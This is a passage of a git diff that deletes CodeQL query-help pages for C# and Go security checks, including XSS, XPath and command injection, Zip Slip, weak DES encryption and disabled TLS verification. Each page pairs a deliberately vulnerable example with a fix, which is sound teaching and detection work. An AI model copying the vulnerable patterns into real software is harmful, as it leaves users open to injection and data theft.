Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UseOfFileUpload.md b/docs/language/query-help/csharp/UseOfFileUpload.md deleted file mode 100644 index 1da1060b453..00000000000 --- a/docs/language/query-help/csharp/UseOfFileUpload.md +++ /dev/null @@ -1,27 +0,0 @@ -# Use of file upload - -``` -ID: cs/web/file-upload -Kind: problem -Severity: recommendation -Precision: high -Tags: security maintainability frameworks/asp.net external/cwe/cwe-434 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/UseOfFileUpload.ql) - -Allowing end users to upload files may lead to severe security threats. Attackers may use this open door to compromise your application, either by overwriting data or by injecting malicious code to run on your server. - - -## Recommendation -Whist it might not be possible to remove the ability to upload files, special care should be taken to ensure files are handled in a secure manner. The following checks should be implemented to ensure the security of your application: - -* Validate each path where the uploaded data is written to. -* Check the content of the data being uploaded without just relying on the MIME type. -* Set a size limit for the uploaded data. -* Do not run your web application with administrator privileges. -* Log each upload request. -* Do not display system information or exception in case the upload fails as this information may help attackers to find a breach. - -## References -* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowing.md b/docs/language/query-help/csharp/ValueShadowing.md deleted file mode 100644 index 682d99a844b..00000000000 --- a/docs/language/query-help/csharp/ValueShadowing.md +++ /dev/null @@ -1,53 +0,0 @@ -# Value shadowing - -``` -ID: cs/web/ambiguous-client-variable -Kind: problem -Severity: warning -Precision: medium -Tags: security maintainability frameworks/asp.net - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowing.ql) - -Relying on `HttpRequest` to provide access to a particular client variable is not safe. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form`, `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of a more trusted collection. - - -## Recommendation -Explicitly restrict the search to one of the `QueryString`, `Form` or `Cookies` collections. - - -## Example -In this example an attempt has been made to prevent cross site request forgery attacks by comparing a cookie set by the server with a form variable sent by the user. The problem is that if the user did not send a form variable called `csrf` then the collection will fall back to using the cookie value, making it look like a forged request was initiated by the user. - - -```csharp -class ValueShadowing -{ - public bool checkCSRF(HttpRequest request) - { - string postCSRF = request["csrf"]; - string cookieCSRF = request.Cookies["csrf"]; - return postCSRF.Equals(cookieCSRF); - } -} - -``` -This can be easily fixed by explicitly specifying that we are looking for a form variable. - - -```csharp -class ValueShadowingFix -{ - public bool checkCSRF(HttpRequest request) - { - string postCSRF = request.Form["csrf"]; - string cookieCSRF = request.Cookies["csrf"]; - return postCSRF.Equals(cookieCSRF); - } -} - -``` - -## References -* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ValueShadowingServerVariable.md b/docs/language/query-help/csharp/ValueShadowingServerVariable.md deleted file mode 100644 index 20c80671e1d..00000000000 --- a/docs/language/query-help/csharp/ValueShadowingServerVariable.md +++ /dev/null @@ -1,52 +0,0 @@ -# Value shadowing: server variable - -``` -ID: cs/web/ambiguous-server-variable -Kind: problem -Severity: warning -Precision: medium -Tags: security maintainability frameworks/asp.net - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Input%20Validation/ValueShadowingServerVariable.ql) - -Relying on `HttpRequest` to provide access to a particular server variable is not safe as it can be overridden by the client. The `HttpRequest` class implements an indexer to provide a simplified, combined access to its `QueryString`, `Form` , `Cookies`, or ` ServerVariables` collections, in that particular order. When searching for a variable, the first match is returned: `QueryString` parameters hence supersede values from forms, cookies and server variables, and so on. This is a serious attack vector since an attacker could inject a value in the query string that you do not expect, and which supersedes the value of the server variable you were actually trying to check. - - -## Recommendation -Explicitly restrict the search to the `ServerVariables` collection. - - -## Example -In this example the server attempts to ensure the user is using an HTTPS connection. Because the programmer used the `HttpRequest` indexer, URLs like ` http://www.example.org/?HTTPS=ON` appear to be from a secure connection even though they are not. - - -```csharp -class ValueShadowingServerVariable -{ - public bool isHTTPS(HttpRequest request) - { - String https = request["HTTPS"]; - return https == "ON"; - } -} - -``` -This can be easily fixed by explicitly specifying that we are looking for a server variable. - - -```csharp -class ValueShadowingServerVariableFix -{ - public bool isHTTPS(HttpRequest request) - { - String https = request.ServerVariables["HTTPS"]; - return https == "ON"; - } -} - -``` - -## References -* MSDN: [HttpRequest.Item](http://msdn.microsoft.com/en-us/library/system.web.httprequest.item(v=VS.100).aspx). -* MSDN: [IIS Server Variables](http://msdn.microsoft.com/en-us/library/ms524602.aspx). \ No newline at end of file diff --git a/docs/language/query-help/csharp/WeakEncryption.md b/docs/language/query-help/csharp/WeakEncryption.md deleted file mode 100644 index e4538433f3f..00000000000 --- a/docs/language/query-help/csharp/WeakEncryption.md +++ /dev/null @@ -1,45 +0,0 @@ -# Weak encryption - -``` -ID: cs/weak-encryption -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/WeakEncryption.ql) - -Weak encryption algorithms provide very little security. For example DES encryption uses keys of 56 bits only, and no longer provides sufficient protection for sensitive data. TripleDES should also be deprecated for very sensitive data: Although it improves on DES by using 168-bit long keys, it provides in fact at most 112 bits of security. - - -## Recommendation -You should switch to a more secure encryption algorithm, such as AES (Advanced Encryption Standard) and use a key length which is reasonable for the application for which it is being used. - - -## Example -This example uses DES, which is limited to a 56-bit key. The key provided is actually 64 bits but the last bit of each byte is turned into a parity bit. For example the bytes 01010101 and 01010100 can be used in place of each other when encrypting and decrypting. - - -```csharp -class WeakEncryption -{ - public static byte[] encryptString() - { - SymmetricAlgorithm serviceProvider = new DESCryptoServiceProvider(); - byte[] key = { 16, 22, 240, 11, 18, 150, 192, 21 }; - serviceProvider.Key = key; - ICryptoTransform encryptor = serviceProvider.CreateEncryptor(); - - String message = "Hello World"; - byte[] messageB = System.Text.Encoding.ASCII.GetBytes(message); - return encryptor.TransformFinalBlock(messageB, 0, messageB.Length); - } -} - -``` - -## References -* Wikipedia: [Key Size](http://en.wikipedia.org/wiki/Key_size) -* Wikipedia: [DES](http://en.wikipedia.org/wiki/Data_Encryption_Standard) -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XMLInjection.md b/docs/language/query-help/csharp/XMLInjection.md deleted file mode 100644 index ec46a8f0bb7..00000000000 --- a/docs/language/query-help/csharp/XMLInjection.md +++ /dev/null @@ -1,83 +0,0 @@ -# XML injection - -``` -ID: cs/xml-injection -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-091 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-091/XMLInjection.ql) - -The APIs provided by the .NET libraries for XML manipulation allow the insertion of "raw" text at a specified point in an XML document. If user input is passed to this API, it could allow a malicious user to add extra content that could corrupt or supersede existing content, or enable unintended additional functionality. - - -## Recommendation -Avoid using the `WriteRaw` method on `System.Xml.XmlWriter` with user input. If possible, use the high-level APIs to write new XML elements to a document, as these automatically escape user content. If that is not possible, then user input should be escaped before being included in a string that will be used with the `WriteRaw` API. - - -## Example -In this example, user input is provided describing the name of an employee to add to an XML document representing a set of names. The `WriteRaw` API is used to write the new employee record to the XML file. - - -```csharp -using System; -using System.Security; -using System.Web; -using System.Xml; - -public class XMLInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string employeeName = ctx.Request.QueryString["employeeName"]; - - using (XmlWriter writer = XmlWriter.Create("employees.xml")) - { - writer.WriteStartDocument(); - - // BAD: Insert user input directly into XML - writer.WriteRaw("" + employeeName + ""); - - writer.WriteEndElement(); - writer.WriteEndDocument(); - } - } -} -``` -However, if a malicious user were to provide the content `Bobby PagesHacker1`, they would be able to add an extra entry into the XML file. - -The corrected version demonstrates two ways to avoid this issue. The first is to escape user input before passing it to the `WriteRaw` API, which prevents a malicious user from closing or opening XML tags. The second approach uses the high level XML API to add XML elements, which ensures the content is appropriately escaped. - - -```csharp -using System; -using System.Security; -using System.Web; -using System.Xml; - -public class XMLInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string employeeName = ctx.Request.QueryString["employeeName"]; - - using (XmlWriter writer = XmlWriter.Create("employees.xml")) - { - writer.WriteStartDocument(); - - // GOOD: Escape user input before inserting into string - writer.WriteRaw("" + SecurityElement.Escape(employeeName) + ""); - - // GOOD: Use standard API, which automatically encodes values - writer.WriteStartElement("Employee"); - writer.WriteElementString("Name", employeeName); - writer.WriteEndElement(); - - writer.WriteEndElement(); - writer.WriteEndDocument(); - } - } -``` - -## References -* Web Application Security Consortium: [XML Injection](http://projects.webappsec.org/w/page/13247004/XML%20Injection). -* Microsoft Docs: [WriteRaw](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmlwriter.writeraw?view=netframework-4.8). -* Common Weakness Enumeration: [CWE-91](https://cwe.mitre.org/data/definitions/91.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XPathInjection.md b/docs/language/query-help/csharp/XPathInjection.md deleted file mode 100644 index aa3fc0baf56..00000000000 --- a/docs/language/query-help/csharp/XPathInjection.md +++ /dev/null @@ -1,64 +0,0 @@ -# XPath injection - -``` -ID: cs/xml/xpath-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-643 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/XPathInjection.ql) - -If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. - - -## Recommendation -If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. - -When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. - - -## Example -In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. - -In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. - - -```csharp -using System; -using System.Web; -using System.Xml.XPath; - -public class XPathInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["userName"]; - - // BAD: Use user-provided data directly in an XPath expression - string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; - XPathExpression.Compile(badXPathExpr); - - // GOOD: XPath expression uses variables to refer to parameters - string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; - XPathExpression xpath = XPathExpression.Compile(xpathExpression); - - // Arguments are provided as a XsltArgumentList() - XsltArgumentList varList = new XsltArgumentList(); - varList.AddParam("userName", string.Empty, userName); - - // CustomContext is an application specific class, that looks up variables in the - // expression from the varList. - CustomContext context = new CustomContext(new NameTable(), varList) - xpath.SetContext(context); - } -} - -``` - -## References -* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). -* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). -* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). -* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/XSS.md b/docs/language/query-help/csharp/XSS.md deleted file mode 100644 index 7ad48a9947b..00000000000 --- a/docs/language/query-help/csharp/XSS.md +++ /dev/null @@ -1,43 +0,0 @@ -# Cross-site scripting - -``` -ID: cs/web/xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/XSS.ql) - -Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. - - -## Example -The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. - - -```csharp -using System; -using System.Web; - -public class XSSHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - ctx.Response.Write( - "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); - } -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ZipSlip.md b/docs/language/query-help/csharp/ZipSlip.md deleted file mode 100644 index e80bebde05e..00000000000 --- a/docs/language/query-help/csharp/ZipSlip.md +++ /dev/null @@ -1,78 +0,0 @@ -# Arbitrary file write during zip extraction ("Zip Slip") - -``` -ID: cs/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to: - -1. Use `Path.Combine(destinationDirectory, archiveEntry.FullName)` to determine the raw output path. -1. Use `Path.GetFullPath(..)` on the raw output path to resolve any directory traversal elements. -1. Use `Path.GetFullPath(destinationDirectory + Path.DirectorySeparatorChar)` to determine the fully resolved path of the destination directory. -1. Validate that the resolved output path `StartsWith` the resolved destination directory, aborting if this is not true. -Another alternative is to validate archive entries against a whitelist of expected files. - - -## Example -In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. - - -```csharp -using System.IO; -using System.IO.Compression; - -class Bad -{ - public static void WriteToDirectory(ZipArchiveEntry entry, - string destDirectory) - { - string destFileName = Path.Combine(destDirectory, entry.FullName); - entry.ExtractToFile(destFileName); - } -} - -``` -To fix this vulnerability, we need to make three changes. Firstly, we need to resolve any directory traversal or other special characters in the path by using `Path.GetFullPath`. Secondly, we need to identify the destination output directory, again using `Path.GetFullPath`, this time on the output directory. Finally, we need to ensure that the resolved output starts with the resolved destination directory, and throw an exception if this is not the case. - - -```csharp -using System.IO; -using System.IO.Compression; - -class Good -{ - public static void WriteToDirectory(ZipArchiveEntry entry, - string destDirectory) - { - string destFileName = Path.GetFullPath(Path.Combine(destDirectory, entry.FullName)); - string fullDestDirPath = Path.GetFullPath(destDirectory + Path.DirectorySeparatorChar); - if (!destFileName.StartsWith(fullDestDirPath)) { - throw new System.InvalidOperationException("Entry is outside the target dir: " + - destFileName); - } - entry.ExtractToFile(destFileName); - } -} - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/go/AllocationSizeOverflow.md b/docs/language/query-help/go/AllocationSizeOverflow.md deleted file mode 100644 index f24c939d540..00000000000 --- a/docs/language/query-help/go/AllocationSizeOverflow.md +++ /dev/null @@ -1,78 +0,0 @@ -# Size computation for allocation may overflow - -``` -ID: go/allocation-size-overflow -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-190 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-190/AllocationSizeOverflow.ql) - -Performing calculations involving the size of potentially large strings or slices can result in an overflow (for signed integer types) or a wraparound (for unsigned types). An overflow causes the result of the calculation to become negative, while a wraparound results in a small (positive) number. - -This can cause further issues. If, for example, the result is then used in an allocation, it will cause a runtime panic if it is negative, and allocate an unexpectedly small buffer otherwise. - - -## Recommendation -Always guard against overflow in arithmetic operations involving potentially large numbers by doing one of the following: - -* Validate the size of the data from which the numbers are computed. -* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type. -* Use a wider type (such as `uint64` instead of `int`), so that larger input values do not cause overflow. - -## Example -In the following example, assume that there is a function `encryptBuffer` that encrypts byte slices whose length must be padded to be a multiple of 16. The function `encryptValue` provides a convenience wrapper around this function: when passed an arbitrary value, it first encodes that value as JSON, pads the resulting byte slice, and then passes it to `encryptBuffer`. - - -```go -package main - -import "encoding/json" - -func encryptValue(v interface{}) ([]byte, error) { - jsonData, err := json.Marshal(v) - if err != nil { - return nil, err - } - size := len(jsonData) + (len(jsonData) % 16) - buffer := make([]byte, size) - copy(buffer, jsonData) - return encryptBuffer(buffer) -} - -``` -When passed a value whose JSON encoding is close to the maximum value of type `int` in length, the computation of `size` will overflow, producing a negative value. When that negative value is passed to `make`, a runtime panic will occur. - -To guard against this, the function should be improved to check the length of the JSON-encoded value. For example, here is a version of `encryptValue` that ensures the value is no larger than 64 MB, which fits comfortably within an `int` and avoids the overflow: - - -```go -package main - -import ( - "encoding/json" - "errors" -) - -func encryptValueGood(v interface{}) ([]byte, error) { - jsonData, err := json.Marshal(v) - if err != nil { - return nil, err - } - if len(jsonData) > 64*1024*1024 { - return nil, errors.New("value too large") - } - size := len(jsonData) + (len(jsonData) % 16) - buffer := make([]byte, size) - copy(buffer, jsonData) - return encryptBuffer(buffer) -} - -``` - -## References -* The Go Programming Language Specification: [Integer overflow](https://golang.org/ref/spec#Integer_overflow). -* The Go Programming Language Specification: [Making slices, maps and channels](https://golang.org/ref/spec#Making_slices_maps_and_channels). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). \ No newline at end of file diff --git a/docs/language/query-help/go/BadRedirectCheck.md b/docs/language/query-help/go/BadRedirectCheck.md deleted file mode 100644 index 82ae479ee64..00000000000 --- a/docs/language/query-help/go/BadRedirectCheck.md +++ /dev/null @@ -1,52 +0,0 @@ -# Bad redirect check - -``` -ID: go/bad-redirect-check -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/BadRedirectCheck.ql) - -Redirect URLs should be checked to ensure that user input cannot cause a site to redirect to arbitrary domains. This is often done with a check that the redirect URL begins with a slash, which most of the time is an absolute redirect on the same host. However, browsers interpret URLs beginning with `//` or `/\` as absolute URLs. For example, a redirect to `//lgtm.com` will redirect to `https://lgtm.com`. Thus, redirect checks must also check the second character of redirect URLs. - - -## Recommendation -Also disallow redirect URLs starting with `//` or `/\`. - - -## Example -The following function validates a (presumably untrusted) redirect URL `redir`. If it does not begin with `/`, the harmless placeholder redirect URL `/` is returned to prevent an open redirect; otherwise `redir` itself is returned. - - -```go -package main - -func sanitizeUrl(redir string) string { - if len(redir) > 0 && redir[0] == '/' { - return redir - } - return "/" -} - -``` -While this check provides partial protection, it should be extended to cover `//` and `/\` as well: - - -```go -package main - -func sanitizeUrl1(redir string) string { - if len(redir) > 1 && redir[0] == '/' && redir[1] != '/' && redir[1] != '\\' { - return redir - } - return "/" -} - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#validating-urls). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CleartextLogging.md b/docs/language/query-help/go/CleartextLogging.md deleted file mode 100644 index 8faed5d3082..00000000000 --- a/docs/language/query-help/go/CleartextLogging.md +++ /dev/null @@ -1,81 +0,0 @@ -# Clear-text logging of sensitive information - -``` -ID: go/clear-text-logging -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-312/CleartextLogging.ql) - -Sensitive information that is logged unencrypted is accessible to an attacker who gains access to the logs. - - -## Recommendation -Ensure that sensitive information is always encrypted or obfuscated before being logged. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the standard out and standard error streams of the application, causing logged sensitive information to be stored. - - -## Example -The following example code logs user credentials (in this case, their password) in plain text: - - -```go -package main - -import ( - "log" - "net/http" -) - -func serve() { - http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - user := r.Form.Get("user") - pw := r.Form.Get("password") - - log.Printf("Registering new user %s with password %s.\n", user, pw) - }) - http.ListenAndServe(":80", nil) -} - -``` -Instead, the credentials should be encrypted, obfuscated, or omitted entirely: - - -```go -package main - -import ( - "log" - "net/http" -) - -func serve1() { - http.HandleFunc("/register", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - user := r.Form.Get("user") - pw := r.Form.Get("password") - - log.Printf("Registering new user %s.\n", user) - - // ... - use(pw) - }) - http.ListenAndServe(":80", nil) -} - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* OWASP: [Password Plaintext Storage](https://www.owasp.org/index.php/Password_Plaintext_Storage). -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/go/CommandInjection.md b/docs/language/query-help/go/CommandInjection.md deleted file mode 100644 index fb746dedd32..00000000000 --- a/docs/language/query-help/go/CommandInjection.md +++ /dev/null @@ -1,46 +0,0 @@ -# Command built from user-controlled sources - -``` -ID: go/command-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-078 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-078/CommandInjection.ql) - -If a system command invocation is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands to exfiltrate data or compromise the system. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run. Instead of interpreting user input directly as command names, examine the input and then choose among hard-coded string literals. - -If this is not possible, then add sanitization code to verify that the user input is safe before using it. - - -## Example -In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: - - -```go -package main - -import ( - "net/http" - "os/exec" -) - -func handler(req *http.Request) { - cmdName := req.URL.Query()["cmd"][0] - cmd := exec.Command(cmdName) - cmd.Run() -} - -``` -The handler extracts the name of a system command from the request object, and then runs it without any further checks, which can cause a command-injection vulnerability. - - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ConstantOauth2State.md b/docs/language/query-help/go/ConstantOauth2State.md deleted file mode 100644 index b306636f7ec..00000000000 --- a/docs/language/query-help/go/ConstantOauth2State.md +++ /dev/null @@ -1,96 +0,0 @@ -# Use of constant `state` value in OAuth 2.0 URL - -``` -ID: go/constant-oauth2-state -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-352/ConstantOauth2State.ql) - -OAuth 2.0 clients must implement CSRF protection for the redirection URI, which is typically accomplished by including a "state" value that binds the request to the user's authenticated state. The Go OAuth 2.0 library allows you to specify a "state" value which is then included in the auth code URL. That state is then provided back by the remote authentication server in the redirect callback, from where it must be validated. Failure to do so makes the client susceptible to an CSRF attack. - - -## Recommendation -Always include a unique, non-guessable `state` value (provided to the call to `AuthCodeURL` function) that is also bound to the user's authenticated state with each authentication request, and then validated in the redirect callback. - - -## Example -The first example shows you the use of a constant state (bad). - - -```go -package main - -import ( - "golang.org/x/oauth2" -) - -func main() {} - -var stateStringVar = "state" - -func badWithStringLiteralState() { - conf := &oauth2.Config{ - ClientID: "YOUR_CLIENT_ID", - ClientSecret: "YOUR_CLIENT_SECRET", - Scopes: []string{"SCOPE1", "SCOPE2"}, - Endpoint: oauth2.Endpoint{ - AuthURL: "https://provider.com/o/oauth2/auth", - TokenURL: "https://provider.com/o/oauth2/token", - }, - } - - url := conf.AuthCodeURL(stateStringVar) - // ... -} - -``` -The second example shows a better implementation idea. - - -```go -package main - -import ( - "crypto/rand" - "encoding/base64" - "net/http" - - "golang.org/x/oauth2" -) - -func betterWithVariableStateReturned(w http.ResponseWriter) { - conf := &oauth2.Config{ - ClientID: "YOUR_CLIENT_ID", - ClientSecret: "YOUR_CLIENT_SECRET", - Scopes: []string{"SCOPE1", "SCOPE2"}, - Endpoint: oauth2.Endpoint{ - AuthURL: "https://provider.com/o/oauth2/auth", - TokenURL: "https://provider.com/o/oauth2/token", - }, - } - - state := generateStateOauthCookie(w) - url := conf.AuthCodeURL(state) - _ = url - // ... -} -func generateStateOauthCookie(w http.ResponseWriter) string { - b := make([]byte, 128) - rand.Read(b) - // TODO: save the state string to cookies or HTML storage, - // and bind it to the authenticated status of the user. - state := base64.URLEncoding.EncodeToString(b) - - return state -} - -``` - -## References -* IETF: [The OAuth 2.0 Authorization Framework](https://tools.ietf.org/html/rfc6749#section-10.12) -* IETF: [OAuth 2.0 Security Best Current Practice](https://tools.ietf.org/html/draft-ietf-oauth-security-topics-15#section-2.1) -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/go/DisabledCertificateCheck.md b/docs/language/query-help/go/DisabledCertificateCheck.md deleted file mode 100644 index 7cf1b127600..00000000000 --- a/docs/language/query-help/go/DisabledCertificateCheck.md +++ /dev/null @@ -1,48 +0,0 @@ -# Disabled TLS certificate check - -``` -ID: go/disabled-certificate-check -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-295/DisabledCertificateCheck.ql) - -The field `InsecureSkipVerify` controls whether a TLS client verifies the server's certificate chain and host name. If set to `true`, the client will accept any certificate and any host name in that certificate, making it susceptible to man-in-the-middle attacks. - - -## Recommendation -Do not set `InsecureSkipVerify` to `true` except in tests. - - -## Example -The following code snippet shows a function that performs an HTTP request over TLS with certificate verification disabled: - - -```go -package main - -import ( - "crypto/tls" - "net/http" -) - -func doAuthReq(authReq *http.Request) *http.Response { - tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, - } - client := &http.Client{Transport: tr} - res, _ := client.Do(authReq) - return res -} - -``` -While this is acceptable in a test, it should not be used in production code. Instead, certificates should be configured such that verification can be performed. - - -## References -* Package tls: [Config](https://golang.org/pkg/crypto/tls/#Config). -* SSL.com: [Browsers and Certificate Validation](https://www.ssl.com/article/browsers-and-certificate-validation/). -* Common Weakness Enumeration: [CWE-295](https://cwe.mitre.org/data/definitions/295.html). \ No newline at end of file diff --git a/docs/language/query-help/go/EmailInjection.md b/docs/language/query-help/go/EmailInjection.md deleted file mode 100644 index 80fe4ea33a4..00000000000 --- a/docs/language/query-help/go/EmailInjection.md +++ /dev/null @@ -1,66 +0,0 @@ -# Email content injection - -``` -ID: go/email-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-640 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-640/EmailInjection.ql) - -Using untrusted input to construct an email can cause multiple security vulnerabilities. For instance, inclusion of an untrusted input in an email body may allow an attacker 